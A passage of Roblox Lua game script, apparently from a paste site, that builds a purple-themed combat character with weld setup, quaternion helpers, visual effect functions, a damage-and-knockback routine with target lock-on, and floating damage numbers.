1853 | mouse=Player:GetMouse() | |
1854 | --save shoulders | |
1855 | RSH, LSH=nil, nil | |
1856 | --welds | |
1857 | RW, LW=Instance.new("Weld"), Instance.new("Weld") | |
1858 | RW.Name="Right Shoulder" LW.Name="Left Shoulder" | |
1859 | LH=Torso["Left Hip"] | |
1860 | RH=Torso["Right Hip"] | |
1861 | TorsoColor=BrickColor.new("Royal purple") | |
1862 | function NoOutline(Part) | |
1863 | Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 | |
1864 | end | |
1865 | player=Player | |
1866 | ch=Character | |
1867 | RSH=ch.Torso["Right Shoulder"] | |
1868 | LSH=ch.Torso["Left Shoulder"] | |
1869 | -- | |
1870 | RSH.Parent=nil | |
1871 | LSH.Parent=nil | |
1872 | -- | |
1873 | RW.Name="Right Shoulder" | |
1874 | RW.Part0=ch.Torso | |
1875 | RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
1876 | RW.C1=cf(0, 0.5, 0) | |
1877 | RW.Part1=ch["Right Arm"] | |
1878 | RW.Parent=ch.Torso | |
1879 | -- | |
1880 | LW.Name="Left Shoulder" | |
1881 | LW.Part0=ch.Torso | |
1882 | LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
1883 | LW.C1=cf(0, 0.5, 0) | |
1884 | LW.Part1=ch["Left Arm"] | |
1885 | LW.Parent=ch.Torso | |
1886 | ||
1887 | ||
1888 | function part(formfactor,parent,reflectance,transparency,brickcolor,name,size) | |
1889 | local fp=it("Part") | |
1890 | fp.formFactor=formfactor | |
1891 | fp.Parent=parent | |
1892 | fp.Reflectance=reflectance | |
1893 | fp.Transparency=transparency | |
1894 | fp.CanCollide=false | |
1895 | fp.Locked=true | |
1896 | fp.BrickColor=brickcolor | |
1897 | fp.Name=name | |
1898 | fp.Size=size | |
1899 | fp.Position=Torso.Position | |
1900 | NoOutline(fp) | |
1901 | fp.Material="Neon" | |
1902 | fp:BreakJoints() | |
1903 | return fp | |
1904 | end | |
1905 | ||
1906 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
1907 | local mesh=it(Mesh) | |
1908 | mesh.Parent=part | |
1909 | if Mesh=="SpecialMesh" then | |
1910 | mesh.MeshType=meshtype | |
1911 | if meshid~="nil" then | |
1912 | mesh.MeshId="http://www.roblox.com/asset/?id="..meshid | |
1913 | end | |
1914 | end | |
1915 | mesh.Offset=offset | |
1916 | mesh.Scale=scale | |
1917 | return mesh | |
1918 | end | |
1919 | ||
1920 | function weld(parent,part0,part1,c0) | |
1921 | local weld=it("Weld") | |
1922 | weld.Parent=parent | |
1923 | weld.Part0=part0 | |
1924 | weld.Part1=part1 | |
1925 | weld.C0=c0 | |
1926 | return weld | |
1927 | end | |
1928 | ||
1929 | local Color1=BrickColor.new("Royal purple") | |
1930 | ||
1931 | local bodvel=Instance.new("BodyVelocity") | |
1932 | local bg=Instance.new("BodyGyro") | |
1933 | ||
1934 | function swait(num) | |
1935 | if num==0 or num==nil then | |
1936 | game:service'RunService'.Stepped:wait(0) | |
1937 | else | |
1938 | for i=0,num do | |
1939 | game:service'RunService'.Stepped:wait(0) | |
1940 | end | |
1941 | end | |
1942 | end | |
1943 | ||
1944 | ||
1945 | so = function(id,par,vol,pit) | |
1946 | coroutine.resume(coroutine.create(function() | |
1947 | local sou = Instance.new("Sound",par or workspace) | |
1948 | sou.Volume=vol | |
1949 | sou.Pitch=pit or 1 | |
1950 | sou.SoundId=id | |
1951 | swait() | |
1952 | sou:play() | |
1953 | game:GetService("Debris"):AddItem(sou,6) | |
1954 | end)) | |
1955 | end | |
1956 | ||
1957 | function clerp(a,b,t) | |
1958 | local qa = {QuaternionFromCFrame(a)} | |
1959 | local qb = {QuaternionFromCFrame(b)} | |
1960 | local ax, ay, az = a.x, a.y, a.z | |
1961 | local bx, by, bz = b.x, b.y, b.z | |
1962 | local _t = 1-t | |
1963 | return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) | |
1964 | end | |
1965 | ||
1966 | function QuaternionFromCFrame(cf) | |
1967 | local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() | |
1968 | local trace = m00 + m11 + m22 | |
1969 | if trace > 0 then | |
1970 | local s = math.sqrt(1 + trace) | |
1971 | local recip = 0.5/s | |
1972 | return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 | |
1973 | else | |
1974 | local i = 0 | |
1975 | if m11 > m00 then | |
1976 | i = 1 | |
1977 | end | |
1978 | if m22 > (i == 0 and m00 or m11) then | |
1979 | i = 2 | |
1980 | end | |
1981 | if i == 0 then | |
1982 | local s = math.sqrt(m00-m11-m22+1) | |
1983 | local recip = 0.5/s | |
1984 | return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip | |
1985 | elseif i == 1 then | |
1986 | local s = math.sqrt(m11-m22-m00+1) | |
1987 | local recip = 0.5/s | |
1988 | return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip | |
1989 | elseif i == 2 then | |
1990 | local s = math.sqrt(m22-m00-m11+1) | |
1991 | local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip | |
1992 | end | |
1993 | end | |
1994 | end | |
1995 | ||
1996 | function QuaternionToCFrame(px, py, pz, x, y, z, w) | |
1997 | local xs, ys, zs = x + x, y + y, z + z | |
1998 | local wx, wy, wz = w*xs, w*ys, w*zs | |
1999 | local xx = x*xs | |
2000 | local xy = x*ys | |
2001 | local xz = x*zs | |
2002 | local yy = y*ys | |
2003 | local yz = y*zs | |
2004 | local zz = z*zs | |
2005 | return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) | |
2006 | end | |
2007 | ||
2008 | function QuaternionSlerp(a, b, t) | |
2009 | local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] | |
2010 | local startInterp, finishInterp; | |
2011 | if cosTheta >= 0.0001 then | |
2012 | if (1 - cosTheta) > 0.0001 then | |
2013 | local theta = math.acos(cosTheta) | |
2014 | local invSinTheta = 1/math.sin(theta) | |
2015 | startInterp = math.sin((1-t)*theta)*invSinTheta | |
2016 | finishInterp = math.sin(t*theta)*invSinTheta | |
2017 | else | |
2018 | startInterp = 1-t | |
2019 | finishInterp = t | |
2020 | end | |
2021 | else | |
2022 | if (1+cosTheta) > 0.0001 then | |
2023 | local theta = math.acos(-cosTheta) | |
2024 | local invSinTheta = 1/math.sin(theta) | |
2025 | startInterp = math.sin((t-1)*theta)*invSinTheta | |
2026 | finishInterp = math.sin(t*theta)*invSinTheta | |
2027 | else | |
2028 | startInterp = t-1 | |
2029 | finishInterp = t | |
2030 | end | |
2031 | end | |
2032 | return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp | |
2033 | end | |
2034 | ||
2035 | function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants | |
2036 | return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) | |
2037 | end | |
2038 | ||
2039 | function SkullEffect(brickcolor,cframe,x1,y1,z1,delay) | |
2040 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2041 | prt.Anchored=true | |
2042 | prt.CFrame=cframe | |
2043 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1)) | |
2044 | --http://www.roblox.com/asset/?id=4770560 | |
2045 | game:GetService("Debris"):AddItem(prt,2) | |
2046 | CF=prt.CFrame | |
2047 | coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) | |
2048 | for i=0,1,0.2 do | |
2049 | wait() | |
2050 | Part.CFrame=CF*cf(0,0,-0.4) | |
2051 | end | |
2052 | for i=0,1,delay do | |
2053 | wait() | |
2054 | --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5) | |
2055 | Mesh.Scale=Mesh.Scale | |
2056 | end | |
2057 | for i=0,1,0.1 do | |
2058 | wait() | |
2059 | Part.Transparency=i | |
2060 | end | |
2061 | Part.Parent=nil | |
2062 | end),prt,msh,CF) | |
2063 | end | |
2064 | ||
2065 | function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2066 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2067 | prt.Anchored=true | |
2068 | prt.CFrame=cframe | |
2069 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2070 | game:GetService("Debris"):AddItem(prt,5) | |
2071 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2072 | for i=0,1,delay do | |
2073 | wait() | |
2074 | Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2075 | Part.Transparency=i | |
2076 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2077 | end | |
2078 | Part.Parent=nil | |
2079 | end),prt,msh) | |
2080 | end | |
2081 | ||
2082 | function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2083 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2084 | prt.Anchored=false | |
2085 | prt.CFrame=cframe | |
2086 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2087 | local wld=weld(prt,prt,Parent,cframe) | |
2088 | game:GetService("Debris"):AddItem(prt,5) | |
2089 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2090 | for i=0,1,delay do | |
2091 | wait() | |
2092 | Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe | |
2093 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2094 | Part.Transparency=i | |
2095 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2096 | end | |
2097 | Part.Parent=nil | |
2098 | end),prt,msh,wld) | |
2099 | end | |
2100 | ||
2101 | function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2102 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2103 | prt.Anchored=false | |
2104 | prt.CFrame=cframe | |
2105 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2106 | local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0)) | |
2107 | game:GetService("Debris"):AddItem(prt,5) | |
2108 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2109 | for i=0,1,delay do | |
2110 | wait() | |
2111 | Weld.C0=euler(i*20,0,0) | |
2112 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2113 | Part.Transparency=i | |
2114 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2115 | end | |
2116 | Part.Parent=nil | |
2117 | end),prt,msh,wld) | |
2118 | end | |
2119 | ||
2120 | function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2121 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2122 | prt.Anchored=true | |
2123 | prt.CFrame=cframe | |
2124 | local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2125 | game:GetService("Debris"):AddItem(prt,2) | |
2126 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2127 | for i=0,1,delay do | |
2128 | wait() | |
2129 | Part.CFrame=Part.CFrame | |
2130 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2131 | local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2132 | prt2.Anchored=true | |
2133 | prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2134 | local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5)) | |
2135 | game:GetService("Debris"):AddItem(prt2,2) | |
2136 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2137 | for i=0,1,0.1 do | |
2138 | wait() | |
2139 | Part.CFrame=Part.CFrame*cf(0,0.5,0) | |
2140 | end | |
2141 | Part.Parent=nil | |
2142 | end),prt2,msh2) | |
2143 | end | |
2144 | for i=0,1,delay*2 do | |
2145 | wait() | |
2146 | Part.CFrame=Part.CFrame | |
2147 | Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i) | |
2148 | end | |
2149 | Part.Parent=nil | |
2150 | end),prt,msh) | |
2151 | end | |
2152 | ||
2153 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2154 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2155 | prt.Anchored=true | |
2156 | prt.CFrame=cframe | |
2157 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2158 | game:GetService("Debris"):AddItem(prt,2) | |
2159 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2160 | for i=0,1,delay do | |
2161 | wait() | |
2162 | Part.CFrame=Part.CFrame | |
2163 | Part.Transparency=i | |
2164 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2165 | end | |
2166 | Part.Parent=nil | |
2167 | end),prt,msh) | |
2168 | end | |
2169 | ||
2170 | function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3) | |
2171 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2172 | prt.Anchored=true | |
2173 | prt.CFrame=cframe*euler(x2,y2,z2) | |
2174 | --"http://www.roblox.com/asset/?id=168892465" | |
2175 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1)) | |
2176 | game:GetService("Debris"):AddItem(prt,2) | |
2177 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2178 | for i=0,1,0.03 do | |
2179 | wait() | |
2180 | Part.CFrame=Part.CFrame | |
2181 | Part.Transparency=i | |
2182 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2183 | end | |
2184 | Part.Parent=nil | |
2185 | end),prt,msh) | |
2186 | end | |
2187 | ||
2188 | function BreakEffect(brickcolor,cframe,x1,y1,z1) | |
2189 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2190 | prt.Anchored=true | |
2191 | prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2192 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2193 | game:GetService("Debris"):AddItem(prt,2) | |
2194 | coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) | |
2195 | CF=Part.CFrame | |
2196 | Numbb=0 | |
2197 | randnumb=math.random()/10 | |
2198 | rand1=math.random()/10 | |
2199 | for i=0,1,rand1 do | |
2200 | wait() | |
2201 | CF=CF*cf(0,math.random()/2,0) | |
2202 | --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0) | |
2203 | Part.CFrame=CF*euler(Numbb,0,0) | |
2204 | Part.Transparency=i | |
2205 | Numbb=Numbb+randnumb | |
2206 | end | |
2207 | Part.Parent=nil | |
2208 | end),prt,CF,Numbb,randnumb) | |
2209 | end | |
2210 | ||
2211 | function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2212 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2213 | prt.Anchored=true | |
2214 | prt.CFrame=cframe | |
2215 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1)) | |
2216 | game:GetService("Debris"):AddItem(prt,5) | |
2217 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2218 | for i=0,1,delay do | |
2219 | wait() | |
2220 | Part.CFrame=Part.CFrame*euler(0,0.7,0) | |
2221 | Part.Transparency=i | |
2222 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2223 | end | |
2224 | Part.Parent=nil | |
2225 | end),prt,msh) | |
2226 | end | |
2227 | ||
2228 | function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2229 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2230 | prt.Anchored=true | |
2231 | prt.CFrame=cframe | |
2232 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1)) | |
2233 | game:GetService("Debris"):AddItem(prt,2) | |
2234 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2235 | for i=0,1,delay do | |
2236 | wait() | |
2237 | Part.CFrame=Part.CFrame*cf(0,y3/2,0) | |
2238 | Part.Transparency=i | |
2239 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2240 | end | |
2241 | Part.Parent=nil | |
2242 | end),prt,msh) | |
2243 | end | |
2244 | ||
2245 | function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay) | |
2246 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2247 | prt.Anchored=true | |
2248 | prt.CFrame=cframe*cf(x,y,z) | |
2249 | msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1)) | |
2250 | game:GetService("Debris"):AddItem(prt,5) | |
2251 | coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) | |
2252 | local num=math.random() | |
2253 | local num2=math.random(-3,2)+math.random() | |
2254 | local numm=0 | |
2255 | for i=0,1,delay*2 do | |
2256 | swait() | |
2257 | Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0) | |
2258 | Part.Transparency=i | |
2259 | numm=numm+0.01 | |
2260 | end | |
2261 | Part.Parent=nil | |
2262 | Mesh.Parent=nil | |
2263 | end),prt,msh,x,y,z) | |
2264 | end | |
2265 | ||
2266 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
2267 | if hit.Parent==nil then | |
2268 | return | |
2269 | end | |
2270 | h=hit.Parent:FindFirstChild("Humanoid") | |
2271 | for _,v in pairs(hit.Parent:children()) do | |
2272 | if v:IsA("Humanoid") then | |
2273 | h=v | |
2274 | end | |
2275 | end | |
2276 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
2277 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
2278 | end | |
2279 | if hit.Parent.className=="Hat" then | |
2280 | hit=hit.Parent.Parent:findFirstChild("Head") | |
2281 | end | |
2282 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
2283 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
2284 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
2285 | return | |
2286 | end]] | |
2287 | -- hs(hit,1.2) | |
2288 | c=Instance.new("ObjectValue") | |
2289 | c.Name="creator" | |
2290 | c.Value=game:service("Players").LocalPlayer | |
2291 | c.Parent=h | |
2292 | game:GetService("Debris"):AddItem(c,.5) | |
2293 | Damage=math.random(minim,maxim) | |
2294 | -- h:TakeDamage(Damage) | |
2295 | blocked=false | |
2296 | block=hit.Parent:findFirstChild("Block") | |
2297 | if block~=nil then | |
2298 | print(block.className) | |
2299 | if block.className=="NumberValue" then | |
2300 | if block.Value>0 then | |
2301 | blocked=true | |
2302 | if decreaseblock==nil then | |
2303 | block.Value=block.Value-1 | |
2304 | end | |
2305 | end | |
2306 | end | |
2307 | if block.className=="IntValue" then | |
2308 | if block.Value>0 then | |
2309 | blocked=true | |
2310 | if decreaseblock~=nil then | |
2311 | block.Value=block.Value-1 | |
2312 | end | |
2313 | end | |
2314 | end | |
2315 | end | |
2316 | if blocked==false then | |
2317 | -- h:TakeDamage(Damage) | |
2318 | h.Health=h.Health-Damage | |
2319 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
2320 | else | |
2321 | h.Health=h.Health-(Damage/2) | |
2322 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
2323 | end | |
2324 | if Type=="Knockdown" then | |
2325 | hum=hit.Parent.Humanoid | |
2326 | hum.PlatformStand=true | |
2327 | coroutine.resume(coroutine.create(function(HHumanoid) | |
2328 | swait(1) | |
2329 | HHumanoid.PlatformStand=false | |
2330 | end),hum) | |
2331 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
2332 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
2333 | local bodvol=Instance.new("BodyVelocity") | |
2334 | bodvol.velocity=angle*knockback | |
2335 | bodvol.P=5000 | |
2336 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
2337 | bodvol.Parent=hit | |
2338 | rl=Instance.new("BodyAngularVelocity") | |
2339 | rl.P=3000 | |
2340 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2341 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
2342 | rl.Parent=hit | |
2343 | game:GetService("Debris"):AddItem(bodvol,.5) | |
2344 | game:GetService("Debris"):AddItem(rl,.5) | |
2345 | elseif Type=="Normal" then | |
2346 | vp=Instance.new("BodyVelocity") | |
2347 | vp.P=500 | |
2348 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
2349 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
2350 | if KnockbackType==1 then | |
2351 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
2352 | elseif KnockbackType==2 then | |
2353 | vp.velocity=Property.CFrame.lookVector*knockback | |
2354 | end | |
2355 | if knockback>0 then | |
2356 | vp.Parent=hit.Parent.Torso | |
2357 | end | |
2358 | game:GetService("Debris"):AddItem(vp,.5) | |
2359 | elseif Type=="Up" then | |
2360 | local bodyVelocity=Instance.new("BodyVelocity") | |
2361 | bodyVelocity.velocity=vt(0,10,0) | |
2362 | bodyVelocity.P=1000 | |
2363 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
2364 | bodyVelocity.Parent=hit | |
2365 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
2366 | rl=Instance.new("BodyAngularVelocity") | |
2367 | rl.P=3000 | |
2368 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2369 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
2370 | rl.Parent=hit | |
2371 | game:GetService("Debris"):AddItem(rl,.5) | |
2372 | elseif Type=="Snare" then | |
2373 | bp=Instance.new("BodyPosition") | |
2374 | bp.P=2000 | |
2375 | bp.D=100 | |
2376 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2377 | bp.position=hit.Parent.Torso.Position | |
2378 | bp.Parent=hit.Parent.Torso | |
2379 | game:GetService("Debris"):AddItem(bp,1) | |
2380 | elseif Type=="Target" then | |
2381 | if Targetting==false then | |
2382 | ZTarget=hit.Parent.Torso | |
2383 | coroutine.resume(coroutine.create(function(Part) | |
2384 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2385 | swait(5) | |
2386 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2387 | end),ZTarget) | |
2388 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
2389 | targetgui=Instance.new("BillboardGui") | |
2390 | targetgui.Parent=ZTarget | |
2391 | targetgui.Size=UDim2.new(10,100,10,100) | |
2392 | targ=Instance.new("ImageLabel") | |
2393 | targ.Parent=targetgui | |
2394 | targ.BackgroundTransparency=1 | |
2395 | targ.Image="rbxassetid://4834067" | |
2396 | targ.Size=UDim2.new(1,0,1,0) | |
2397 | cam.CameraType="Scriptable" | |
2398 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2399 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2400 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2401 | Targetting=true | |
2402 | RocketTarget=ZTarget | |
2403 | for i=1,Property do | |
2404 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
2405 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
2406 | swait() | |
2407 | end | |
2408 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
2409 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2410 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2411 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
2412 | end | |
2413 | Targetting=false | |
2414 | RocketTarget=nil | |
2415 | targetgui.Parent=nil | |
2416 | cam.CameraType="Custom" | |
2417 | end | |
2418 | end | |
2419 | debounce=Instance.new("BoolValue") | |
2420 | debounce.Name="DebounceHit" | |
2421 | debounce.Parent=hit.Parent | |
2422 | debounce.Value=true | |
2423 | game:GetService("Debris"):AddItem(debounce,Delay) | |
2424 | c=Instance.new("ObjectValue") | |
2425 | c.Name="creator" | |
2426 | c.Value=Player | |
2427 | c.Parent=h | |
2428 | game:GetService("Debris"):AddItem(c,.5) | |
2429 | CRIT=false | |
2430 | hitDeb=true | |
2431 | AttackPos=6 | |
2432 | end | |
2433 | end | |
2434 | ||
2435 | showDamage=function(Char,Dealt,du,Color) | |
2436 | m=Instance.new("Model") | |
2437 | m.Name=tostring(Dealt) | |
2438 | h=Instance.new("Humanoid") | |
2439 | h.Health=0 | |
2440 | h.MaxHealth=0 | |
2441 | h.Parent=m | |
2442 | c=Instance.new("Part") | |
2443 | c.Transparency=0 | |
2444 | c.BrickColor=TorsoColor | |
2445 | c.Name="Head" | |
2446 | c.TopSurface=0 | |
2447 | c.BottomSurface=0 | |
2448 | c.formFactor="Plate" | |
2449 | c.Size=Vector3.new(1,.4,1) | |
2450 | ms=Instance.new("CylinderMesh") | |
2451 | ms.Scale=Vector3.new(.8,.8,.8) | |
2452 | so("http://www.roblox.com/asset/?id=199149269",c,1,1) | |
2453 | if CRIT==true then | |
2454 | ms.Scale=Vector3.new(1,1.25,1) | |
2455 | end | |
2456 | ms.Parent=c | |
2457 | c.Reflectance=0 | |
2458 | Instance.new("BodyGyro").Parent=c | |
2459 | c.Parent=m | |
2460 | if Char:findFirstChild("Head")~=nil then | |
2461 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2462 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
2463 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2464 | end | |
2465 | f=Instance.new("BodyPosition") | |
2466 | f.P=2000 | |
2467 | f.D=100 | |
2468 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2469 | f.position=c.Position+Vector3.new(0,3,0) | |
2470 | f.Parent=c | |
2471 | game:GetService("Debris"):AddItem(m,.5+du) | |
2472 | c.CanCollide=false | |
2473 | m.Parent=workspace | |
2474 | c.CanCollide=false | |
2475 | end | |
2476 | ||
2477 | Player=game:GetService('Players').LocalPlayer | |
2478 | Character=Player.Character | |
2479 | Mouse=Player:GetMouse() | |
2480 | m=Instance.new('Model',Character) | |
2481 | ||
2482 | ||
2483 | local function weldBetween(a, b) | |
2484 | local weldd = Instance.new("ManualWeld") | |
2485 | weldd.Part0 = a | |
2486 | weldd.Part1 = b | |
2487 | weldd.C0 = CFrame.new() | |
2488 | weldd.C1 = b.CFrame:inverse() * a.CFrame | |
2489 | weldd.Parent = a | |
2490 | return weldd | |
2491 | end | |
2492 | ||
2493 | it=Instance.new | |
2494 | ||
2495 | function nooutline(part) | |
2496 | part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10 | |
2497 | end | |
2498 | ||
2499 | function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size) | |
2500 | local fp=it("Part") | |
2501 | fp.formFactor=formfactor | |
2502 | fp.Parent=parent | |
2503 | fp.Reflectance=reflectance | |
2504 | fp.Transparency=transparency | |
2505 | fp.CanCollide=false | |
2506 | fp.Locked=true | |
2507 | fp.BrickColor=BrickColor.new(tostring(brickcolor)) | |
2508 | fp.Name=name | |
